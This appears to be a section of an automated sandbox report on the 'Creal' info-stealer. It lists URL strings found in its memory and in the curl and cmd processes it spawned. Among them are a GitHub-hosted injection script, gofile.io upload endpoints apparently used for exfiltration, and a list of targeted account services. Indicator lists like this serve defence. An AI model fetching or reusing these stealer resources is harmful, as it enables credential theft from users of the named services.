Source: creal.exe, 00000002.00000003.1546125342.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1508070108.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1549126696.00000185BBEFF000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1544750806.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1534642652.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1530994321.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1546275794.00000185BBEFB000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1542135168.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1515797188.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/post
Source: creal.exe, 00000002.00000002.1558907549.00000185BBA60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://importlib-resources.readthedocs.io/en/latest/using.html#migrating-from-legacy
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://instagram.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://instagram.com)z
Source: creal.exe, 00000002.00000003.1509484747.00000185BB77F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: creal.exe, 00000002.00000003.1519492705.00000185BC7A3000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1458858671.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1507238550.00000185BC79C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://minecraft.net)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://minecraft.net)z
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://netflix.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://netflix.com)z
Source: creal.exe, 00000002.00000003.1457557096.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1534642652.00000185BBED7000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1508070108.00000185BBE9C000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1542135168.00000185BBED8000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1515797188.00000185BBEB3000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1530994321.00000185BBED5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1527070599.00000185BBECB000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1544750806.00000185BBED8000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1546125342.00000185BBED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-108r1.pdf
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://origin.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://origin.com)z
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com)z&
Source: creal.exe, 00000002.00000002.1564972187.00000185BC160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/guides/packaging-namespace-packages/.
Source: creal.exe, 00000002.00000002.1565300516.00000185BC270000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/core-metadata/
Source: creal.exe, 00000002.00000003.1519286363.00000185BB3CD000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1509176230.00000185BB3CC000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1549208179.00000185BB3D5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1533572594.00000185BB3D2000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1524442141.00000185BB3CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/declaring-project-metadata/
Source: creal.exe, 00000002.00000002.1564972187.00000185BC160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/entry-points/
Source: creal.exe, 00000002.00000002.1564972187.00000185BC160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/entry-points/0O
Source: creal.exe, 00000002.00000002.1558907549.00000185BBA60000.00000004.00001000.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1563707554.00000185BBF60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://paypal.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paypal.com)z
Source: creal.exe, 00000002.00000002.1558636229.00000185BB960000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0205/
Source: creal.exe, 00000002.00000002.1584456751.00007FF8E7BD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://peps.python.org/pep-0263/
Source: creal.exe, 00000002.00000002.1565300516.00000185BC270000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0685/
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://playstation.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://playstation.com)z
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pornhub.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pornhub.com)z
Source: creal.exe, 00000002.00000002.1563972254.00000185BC060000.00000004.00001000.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1564972187.00000185BC160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/build/).
Source: creal.exe, 00000002.00000003.1542555830.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1568895664.00000185BC5F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg
Source: creal.exe, 00000002.00000002.1568895664.00000185BC5F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg0Gm
Source: creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpgr
Source: creal.exe, 00000002.00000002.1568895664.00000185BC5F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Ayhuuu/injection/main/index.js
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Ayhuuu/injection/main/index.jsc
Source: creal.exe, 00000002.00000002.1563972254.00000185BC060000.00000004.00001000.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://refspecs.linuxfoundation.org/elf/gabi4
Source: creal.exe, 00000002.00000003.1546125342.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1508070108.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1549126696.00000185BBEFF000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1544750806.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1534642652.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1572616442.00000185BD170000.00000004.00001000.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1530994321.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1546275794.00000185BBEFB000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1542135168.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1515797188.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://requests.readthedocs.io
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://riotgames.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://riotgames.com)z
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://roblox.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://roblox.com)z
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sellix.io)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sellix.io)z
Source: creal.exe, 00000002.00000002.1564972187.00000185BC160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/
Source: creal.exe, 00000002.00000002.1564972187.00000185BC160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/0
Source: creal.exe, 00000002.00000003.1457557096.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1534642652.00000185BBED7000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1508070108.00000185BBE9C000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1542135168.00000185BBED8000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1550002310.00000185BBEDA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1515797188.00000185BBEB3000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1530994321.00000185BBED5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1527070599.00000185BBECB000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1514820843.00000185BBE98000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1514358388.00000185BBE5E000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1562974524.00000185BBEDA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1544750806.00000185BBED8000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1546125342.00000185BBED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/pkg_resources.html#basic-resource-access
Source: creal.exe, 00000002.00000002.1568895664.00000185BC5F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packages
Source: creal.exe, 00000002.00000002.1568895664.00000185BC5F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packages0
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spotify.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spotify.com)z
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stake.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stake.com))
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steam.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.com)z
Source: curl.exe, 00000011.00000002.1499016491.0000018B7EC38000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000014.00000002.1500645147.00000281E010B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io.uploadFile
Source: cmd.exe, 0000000C.00000002.1497110484.0000024C758FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/3
Source: cmd.exe, 00000012.00000002.1501092610.0000018C8ADDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/up
Source: cmd.exe, 00000015.00000002.1502967122.000002234A6BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/up7
Source: cmd.exe, 0000002F.00000002.1700508649.0000024541900000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFile
Source: curl.exe, 00000018.00000002.1502681292.000002B6485A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFile$
Source: curl.exe, 00000014.00000002.1500645147.00000281E010B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFile%
Source: curl.exe, 00000018.00000002.1502681292.000002B6485A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFile-
Source: cmd.exe, 00000012.00000002.1501092610.0000018C8ADD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFile.
Source: curl.exe, 00000008.00000002.1468934003.000001F32FE36000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1468606378.000001F32FE33000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1468719552.000001F32FE36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFile2
Source: curl.exe, 00000008.00000002.1468934003.000001F32FE20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFile4
Source: curl.exe, 00000014.00000002.1500645147.00000281E010B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFile?
Source: curl.exe, 00000018.00000002.1502681292.000002B6485A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFileBgt
Source: cmd.exe, 00000006.00000002.1469447795.0000022F70190000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000012.00000002.1501020284.0000018C8AD70000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000015.00000002.1503105056.000002234A8F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFileEDRIVE
Source: cmd.exe, 0000000F.00000002.1499472199.0000026027FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFileEDRIVEf
Source: curl.exe, 00000008.00000002.1468934003.000001F32FE36000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1468606378.000001F32FE33000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1468719552.000001F32FE36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFileEk
Source: curl.exe, 00000011.00000002.1499016491.0000018B7EC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFileG
Source: curl.exe, 00000014.00000002.1500645147.00000281E010B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFileIw4
Source: cmd.exe, 00000009.00000002.1481576957.0000020D491B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFileOMEDRIVE
Source: cmd.exe, 0000000C.00000002.1497280901.0000024C75B70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFileRIVE4
Source: curl.exe, 00000008.00000002.1468934003.000001F32FE20000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000B.00000002.1480957168.0000024F21CB0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000002.1496127332.0000021D976B0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000002.1499016491.0000018B7EC30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000014.00000002.1500645147.00000281E0100000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000018.00000002.1502681292.000002B6485A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFileWinsta0
Source: curl.exe, 0000000E.00000002.1496127332.0000021D976B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFileaml
Source: curl.exe, 0000000E.00000002.1496127332.0000021D976B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFileb)1
Source: curl.exe, 00000008.00000002.1468934003.000001F32FE20000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000B.00000002.1480957168.0000024F21CB0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000002.1496127332.0000021D976B0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000002.1499016491.0000018B7EC30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000014.00000002.1500645147.00000281E0100000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000018.00000002.1502681292.000002B6485A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFilecurl
Source: curl.exe, 0000000E.00000002.1496127332.0000021D976B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFileda
Source: curl.exe, 0000000E.00000002.1496127332.0000021D976B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFilene8
Source: curl.exe, 0000000B.00000002.1480957168.0000024F21CC8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000B.00000003.1480700681.0000024F21CC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFilep
Source: curl.exe, 00000008.00000002.1468934003.000001F32FE36000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1468606378.000001F32FE33000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1468719552.000001F32FE36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFilepk
Source: curl.exe, 0000000E.00000002.1496127332.0000021D976B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFilestore4.gofile.ioMY
Source: curl.exe, 0000000B.00000002.1480957168.0000024F21CB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFilestore4.gofile.ioh.dll
Source: curl.exe, 00000011.00000002.1499016491.0000018B7EC38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFilev
Source: curl.exe, 00000008.00000002.1468934003.000001F32FE20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFilew
Source: curl.exe, 0000000B.00000003.1480588195.0000024F21CF2000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000B.00000003.1480661865.0000024F21CF3000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000B.00000002.1481039297.0000024F21CF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadFilex
Source: cmd.exe, 0000000F.00000002.1499347571.0000026027D2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/upoNkxa
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://telegram.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.com)z
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tiktok.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiktok.com)z
Source: creal.exe, 00000002.00000003.1533834824.00000185BBCA5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBC18000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1543063904.00000185BBCA7000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1457557096.00000185BBC09000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1520899915.00000185BBC37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: creal.exe, 00000002.00000003.1506165356.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1514358388.00000185BBDA3000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1535265611.00000185BBDD4000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1562299712.00000185BBDE8000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1535358960.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1510991480.00000185BC7C5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1516736251.00000185BBDD3000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1458427026.00000185BC7C5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1549876890.00000185BBDE8000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1541650873.00000185BC7C7000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1517079062.00000185BC7C6000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1457557096.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1514920740.00000185BBDBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc3610
Source: creal.exe, 00000002.00000003.1510991480.00000185BC7C5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1458427026.00000185BC7C5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1541650873.00000185BC7C7000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1517079062.00000185BC7C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc5297
Source: creal.exe, 00000002.00000003.1506165356.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1541491191.00000185BBDBE000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1514358388.00000185BBDA3000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1544629580.00000185BBDC1000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1547684950.00000185BBDC5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1562015932.00000185BBDC6000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1553189638.00000185BBDC5000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1457557096.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1514920740.00000185BBDBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7231#section-4.3.6)
Source: creal.exe, 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitch.com)
Source: creal.exe, 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitch.com)z
